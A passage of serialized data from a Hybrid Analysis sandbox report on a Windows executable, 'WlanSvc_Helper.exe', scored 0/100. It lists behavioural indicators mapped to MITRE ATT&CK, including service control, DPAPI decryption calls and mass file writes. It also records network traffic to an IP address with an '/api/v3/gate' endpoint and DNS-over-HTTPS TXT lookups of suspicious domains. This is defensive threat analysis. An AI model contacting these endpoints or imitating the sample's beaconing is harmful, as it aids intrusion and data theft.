File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Contains ability to open/control a service","description":"OpenServiceW@ADVAPI32.dll at 14489-5627-0000000140086420\n OpenServiceW@ADVAPI32.dll at 14489-5628-0000000140086320\n OpenServiceW@ADVAPI32.dll at 14489-5633-00000001400841C0\n OpenServiceW@ADVAPI32.dll at 14489-5634-0000000140083EE0\n OpenServiceW@ADVAPI32.dll at 14489-5635-00000001400845D0\n OpenServiceW@ADVAPI32.dll at 14489-5649-0000000140080570\n OpenServiceW@ADVAPI32.dll at 14489-5656-000000014007C9F0\n OpenServiceW@ADVAPI32.dll at 14489-7367-000000014008C350","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1569.002","relevance":8,"id":"stream-14","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Possibly tries to hide a process launching it with different user credentials","description":"CreateProcessAsUserW@ADVAPI32.dll at 14489-7445-000000014004CC4E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1134.002","relevance":3,"id":"stream-42","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"General","name":"Multiple POSTs requests with same length but different payloads to a web server","description":"Found more than 2 POST requests like this POST /api/v3/gate HTTP/1.1POST /api/v3/gate HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nContent-Length: 301\nHost: 167.86.74.11 with payload ==> OÝ\"¢ìøÍÞð|ËÒÿI§$DÆ»°_ÖýCe»\"Ü×$Ën&_0.R`j³ÙÑ¶gÏ}×WµQIJöýÖ4ýí ÛSÕ½Í|¾\nØEÅÍ¬0C´G%/}z_{¶h-Öùi«8ÏÔFDd¨k1ñ7.......","origin":"Network Traffic","mitre_attack_id":"T1030","relevance":5,"id":"network-69","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"WlanSvc_Helper.exe\" called \"OpenSCManagerW\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1569.002","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$65","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"WlanSvc_Helper.exe\" called \"OpenServiceW\" to access the \"WlanSvcExt\" service\n \"WlanSvc_Helper.exe\" called \"OpenServiceW\" to access the \"WlanSvcExt\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"WlanSvc_Helper.exe\" called \"OpenServiceW\" to access the \"WinMgmtExt\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"WlanSvc_Helper.exe\" called \"OpenServiceW\" to access the \"SysMainExt\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","origin":"API Call","mitre_attack_id":"T1007","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.16.248.249 on port 443 is sent without HTTP header\n TCP traffic to 99.84.234.89 on port 80 is sent without HTTP header\n TCP traffic to 167.86.74.11 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to decrypt data","description":"\"WlanSvc_Helper.exe\" called \"CryptUnprotectData\" with parameters {\"pDataIn\": \"56010000360200004070cf4836020000\"\n \"ppszDataDescr\": \"6098cd4836020000\"\n \"pDataOut\": \"7000000000000000809bc44836020000\"\n \"$dataout\": \"24bf63a0a3a29cbdc73dcdcbd2fd7bf8d6241ed465346a76825b8f624abc34ee9832928349f1d5b046cdb66d3717afbff22bba1efe222ee327c9fe3f696bb451960467b9b9767b8e0aa849b6fad257d5aca4de8f0be1ad78fc07bc1f318c11a9e8f46e685b4c85f8b74021b9a87e07d9\"}\n \"WlanSvc_Helper.exe\" called \"CryptUnprotectData\" with parameters {\"pDataIn\": \"56010000360200006074cf4836020000\"\n \"ppszDataDescr\": \"4083004b36020000\"\n \"pDataOut\": \"7000000000000000d02dc64836020000\"\n \"$dataout\": \"44690f4dcb5bb8a6cfda505ebcc59c6e757781a45dbaa2b55f50f5748585dc7ccd0f5f08a912e66e79a4728911936d0f3eec7b7d6015c0af72b5bede7ce42e724bfd6672443c2269017602f148a1bf5fbe693343843df96e993fc13f590e1e1eb57b9a487a47f8830f530362ab5e4721\"}","origin":"API Call","mitre_attack_id":"T1140","relevance":5,"id":"api-172","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to performs encryption on the data","description":"\"WlanSvc_Helper.exe\" called \"CryptProtectData\" with parameters {\"pDataIn\": \"70000000360200005087cd4836020000\"\n \"szDataDescr\": \"0\"\n \"pDataOut\": \"56010000000000000046094b36020000\"\n \"$datain\": \"24bf63a0a3a29cbdc73dcdcbd2fd7bf8d6241ed465346a76825b8f624abc34ee9832928349f1d5b046cdb66d3717afbff22bba1efe222ee327c9fe3f696bb451960467b9b9767b8e0aa849b6fad257d5aca4de8f0be1ad78fc07bc1f318c11a9e8f46e685b4c85f8b74021b9a87e07d9\"}\n \"WlanSvc_Helper.exe\" called \"CryptProtectData\" with parameters {\"pDataIn\": \"70000000360200005087cd4836020000\"\n \"szDataDescr\": \"0\"\n \"pDataOut\": \"560100000000000030fd054b36020000\"\n \"$datain\": \"44690f4dcb5bb8a6cfda505ebcc59c6e757781a45dbaa2b55f50f5748585dc7ccd0f5f08a912e66e79a4728911936d0f3eec7b7d6015c0af72b5bede7ce42e724bfd6672443c2269017602f148a1bf5fbe693343843df96e993fc13f590e1e1eb57b9a487a47f8830f530362ab5e4721\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":5,"id":"api-171","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.dll at 14489-8581-000000014008E35D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module","description":"GetModuleFileNameW@KERNEL32.dll at 14489-5613-000000014008C290\n GetModuleFileNameW@KERNEL32.dll at 14489-5631-0000000140084720\n GetModuleFileNameW@KERNEL32.dll at 14489-5910-0000000140047770\n GetModuleFileNameW@KERNEL32.dll at 14489-8709-0000000140094331","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-131","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"WlanSvc_Helper.exe\" opened \"C:\\WlanSvc_Helper.exe.old\" with delete access\n \"WlanSvc_Helper.exe\" opened \"C:\\Windows\\System32\\updater.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"SetKernelObjectSecurity\n StartServiceW\n RegCreateKeyExW\n StartServiceCtrlDispatcherW\n RegDeleteValueW\n OpenProcessToken\n CreateServiceW\n RegCloseKey\n SetSecurityDescriptorDacl\n RegOpenKeyExW\n CreateProcessAsUserW\n ConnectNamedPipe\n CreateProcessA\n GetStartupInfoW\n GetComputerNameA\n VirtualProtect\n FindFirstFileExW\n GetFileAttributesW\n GetModuleHandleExW\n TerminateProcess\n CreateThreadpoolWork\n Process32NextW\n FindNextFileA\n GetSystemDirectoryW\n Process32FirstW\n GetCommandLineW\n GetTickCount64\n CreateToolhelp32Snapshot\n OpenProcess\n GetModuleHandleA\n CreateFileA\n DisconnectNamedPipe\n GetModuleFileNameW\n IsDebuggerPresent\n GetProcAddress\n GetTickCount\n GetFileSizeEx\n CreateProcessW\n GetModuleHandleW\n CreateFileW\n ExitThread\n DeleteFileW\n CreateThread\n LoadLibraryExW\n WriteFile\n GetSystemInfo\n SleepConditionVariableSRW\n UnhandledExceptionFilter\n Sleep\n FindFirstFileA\n FindNextFileW\n GetCommandLineA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Opens multiple files with write access (often indicator for full-system infection)","description":"\"WlanSvc_Helper.exe\" opens more than 500 files with write access","origin":"API Call","mitre_attack_id":"T1491.001","relevance":10,"id":"api-49","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"WlanSvc_Helper.exe\" has a section named \".fptable\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"intel_graph":{"map":{"Domain:cloudflare-dns.com":{"type":"Domain","value":"cloudflare-dns.com"},"Domain:crls.ssl.com":{"type":"Domain","value":"crls.ssl.com"},"Domain:dns.quad9.net":{"type":"Domain","value":"dns.quad9.net"},"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b":{"type":"File","value":"21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b"},"File:34ea6779de694bbcea9ffb74ea8f377a182e6ca3ea07bd6be140fc089a809b5c":{"type":"File","value":"34ea6779de694bbcea9ffb74ea8f377a182e6ca3ea07bd6be140fc089a809b5c"},"Ip:104.16.248.249":{"type":"Ip","value":"104.16.248.249"},"Ip:167.86.74.11":{"type":"Ip","value":"167.86.74.11"},"Ip:9.9.9.9":{"type":"Ip","value":"9.9.9.9"},"Ip:99.84.234.89":{"type":"Ip","value":"99.84.234.89"},"Url:/api/v3/gate":{"type":"Url","value":"/api/v3/gate"},"Url:/dns-query?name=get.api-mall.vip&type=TXT":{"type":"Url","value":"/dns-query?name=get.api-mall.vip&type=TXT"},"Url:/dns-query?name=get.xabatay.top&type=TXT":{"type":"Url","value":"/dns-query?name=get.xabatay.top&type=TXT"},"Url:/dns-query?name=get.xiner.top&type=TXT":{"type":"Url","value":"/dns-query?name=get.xiner.top&type=TXT"},"Url:/dns-query?name=get.yabgo.top&type=TXT":{"type":"Url","value":"/dns-query?name=get.yabgo.top&type=TXT"}},"chains":[{"id":"sandbox_network","root":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","edges":[{"edge_kind":"contacted_ip","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_ip","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Ip:99.84.234.89"},{"edge_kind":"contacted_ip","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Ip:167.86.74.11"},{"edge_kind":"contacted_ip","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Ip:9.9.9.9"},{"edge_kind":"contacted_domain","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Domain:cloudflare-dns.com"},{"edge_kind":"resolves_to","from_key":"Domain:cloudflare-dns.com","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_domain","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Domain:crls.ssl.com"},{"edge_kind":"resolves_to","from_key":"Domain:crls.ssl.com","to_key":"Ip:99.84.234.89"},{"edge_kind":"contacted_domain","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Domain:dns.quad9.net"},{"edge_kind":"resolves_to","from_key":"Domain:dns.quad9.net","to_key":"Ip:9.9.9.9"},{"edge_kind":"contacted_url","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Url:/dns-query?name=get.xabatay.top&type=TXT"},{"edge_kind":"contacted_url","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Url:/api/v3/gate"},{"edge_kind":"contacted_url","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Url:/dns-query?name=get.api-mall.vip&type=TXT"},{"edge_kind":"contacted_url","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Url:/dns-query?name=get.xiner.top&type=TXT"},{"edge_kind":"contacted_url","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"Url:/dns-query?name=get.yabgo.top&type=TXT"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","edges":[{"edge_kind":"extracted","from_key":"File:21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","to_key":"File:34ea6779de694bbcea9ffb74ea8f377a182e6ca3ea07bd6be140fc089a809b5c"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":64,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":5,"files_deleted_count":0,"registry_keys_created_count":9,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":9,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6af454ad3a7aad52ad0512d9","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"no specific threat","contacted_countries":["CHE","DEU","USA"],"submit_name":"WlanSvc_Helper.exe","analysis_start_time":"2026-11-11T11:42:39+00:00","indicators_count":{"informative":208,"suspicious":61,"malicious":0},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.16.248.249","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"address":"99.84.234.89","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"address":"167.86.74.11","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"address":"9.9.9.9","port":5053,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"dns_resolutions":[{"domain":"cloudflare-dns.com","address":"104.16.248.249","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"domain":"crls.ssl.com","address":"99.84.234.89","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"domain":"dns.quad9.net","address":"9.9.9.9","ttl":542,"country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"http_requests":[{"host":"cloudflare-dns.com","host_ip":"104.16.248.249:443","url":"/dns-query?name=get.xabatay.top&type=TXT","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"host":"167.86.74.11","host_ip":"167.86.74.11:80","url":"/api/v3/gate","method":"POST","response_code":"400","response_phrase":"Bad Request","header":"POST /api/v3/gate HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nContent-Length: 301\nHost: 167.86.74.11","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"host":"cloudflare-dns.com","host_ip":"104.16.248.249:443","url":"/dns-query?name=get.api-mall.vip&type=TXT","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"host":"cloudflare-dns.com","host_ip":"104.16.248.249:443","url":"/dns-query?name=get.xiner.top&type=TXT","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"host":"cloudflare-dns.com","host_ip":"104.16.248.249:443","url":"/dns-query?name=get.yabgo.top&type=TXT","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}],"processes":[{"pid":6464,"ppid":0,"name":"WlanSvc_Helper.exe","command_line":"","sha256":"21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b","normalized_path":"C:\\WlanSvc_Helper.exe","uid":"00000000-00006464","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["win32u.dll","vcruntime140.dll","vcruntime140_1.dll","webio.dll","IPHLPAPI.DLL","msvcp_win.dll","msvcp140.dll","wbemcomn.dll","profapi.dll","rasadhlp.dll","ole32.dll","mswsock.dll","ncrypt.dll","dhcpcsvc.dll","msasn1.dll","kernel32.dll","advapi32.dll","FWPUCLNT.DLL","gdi32.dll","shlwapi.dll","clbcatq.dll","dnsapi.dll","ncryptsslp.dll","cryptnet.dll","sechost.dll","cryptsp.dll","wbemprox.dll","ucrtbase.dll","fltLib.dll","dhcpcsvc6.dll","bcrypt.dll","combase.dll","user32.dll","bcryptprimitives.dll","kernel.appcore.dll","amsi.dll","rsaenh.dll","OnDemandConnRouteHelper.dll","rpcrt4.dll","msvcrt.dll","cryptbase.dll","winnsi.dll","ntdll.dll","ws2_32.dll","userenv.dll","YRrpnRx1.dll","sspicli.dll","apphelp.dll","mskeyprotect.dll","winhttp.dll","imm32.dll","VxSSL64.dll","fastprox.dll","nsi.dll","crypt32.dll","gdi32full.dll","dpapi.dll","ntmarta.dll","wbemsvc.dll","gpapi.dll","ntasn1.dll","KernelBase.dll","oleaut32.dll","schannel.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"FA933EF1C576B07DCF47ADB21ED04D70","sha256":"34ea6779de694bbcea9ffb74ea8f377a182e6ca3ea07bd6be140fc089a809b5c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"path":"pipe\\mw7MTaWz6HSH","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"path":"pipe\\qzNzcuQTbeQe","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\FA933EF1C576B07DCF47ADB21ED04D70","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\FA933EF1C576B07DCF47ADB21ED04D70","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6464:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"name":"SM0:6464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"name":"Local\\SM0:6464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"name":"SM0:6464:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]}]}},"report_ids":{"sandbox_job_ids":["6af454ad3a7aad52ad0512d9"]}}}]]}] 2c:[["$","title","0",{"children":"Sample 21fbfdbd1ffd… — Score 0/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Threat analysis for sample 21fbfdbd1ffd…. Threat score 0/100. 0/28 AV engines flagged this file. 0 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b"}],["$","meta","4",{"property":"og:title","content":"Sample 21fbfdbd1ffd… — Score 0/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Threat analysis for sample 21fbfdbd1ffd…. Threat score 0/100. 0/28 AV engines flagged this file. 0 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/21fbfdbd1ffd9626032dd6193dd3077d0ec88a6cea2dab0b2e12c8470db5916b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Sample 21fbfdbd1ffd… — Score 0/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Threat analysis for sample 21fbfdbd1ffd…. Threat score 0/100. 0/28 AV engines flagged this file. 0 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L66","11",{}]] 32:null